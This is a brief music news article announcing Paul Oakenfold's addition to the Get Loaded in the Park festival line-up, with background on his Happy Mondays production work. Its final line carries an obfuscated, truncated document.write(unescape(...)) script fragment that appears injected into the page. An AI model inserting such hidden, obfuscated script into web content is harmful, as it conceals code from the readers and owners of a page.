Paul Oakenfold added to Get Loaded

King of the Common Paul Oakenfold has just been added to the bill at Get Loaded in the Park â€" the scorching finale to this summer's festival season. The superstar DJ/Producer, Perfecto Records boss, film-scorer and one of the main men responsible for bringing house music to the UK, will be spinning an exclusive Get Loaded-inspired set.

Oakenfold's addition to the bill is a massive coup for GLITP and suits the whole ethos and vibe of the day and what Get Loaded represents. Having produced the Happy Mondays' first album ‘Pills n' Thrills n' Bellyaches' (with studio partner Steve Osbourne), Oakenfold helped carve the band a distinctively dance friendly sound, making the Mondays one of the most important bands of the late 80's / early 90's. Oakenfold also worked on classic Happy Mondays tracks like ‘Step On, Kinky Afro' and ‘Loose Fit', and rather fittingly, he'll now be spinning a special ‘Get Loaded-inspired' set (taking in Balearic anthems and indie classics), on the same stage as old pals Shaun Ryder & Bez â€" who themselves will be showcasing brand new Mondays material for the first time ever.

Oakenfold now joins the already impressive DJ bill which consists of two of the world's leading players â€" Fatboy Slim and NYC's Armand Van Helden, plus a string of rockstars swapping their guitars for decks for the day - Snow Patrol, Elbow, Mani, Clint Boon and Carl Barat.document.write(unescape('\04564%6F%63um\145%6Et.%77r%69t\145\04528u%6E\04565s\04563ap\04565\04528\047\045253C%21%5C0\0645\062D%252D\047)\051;
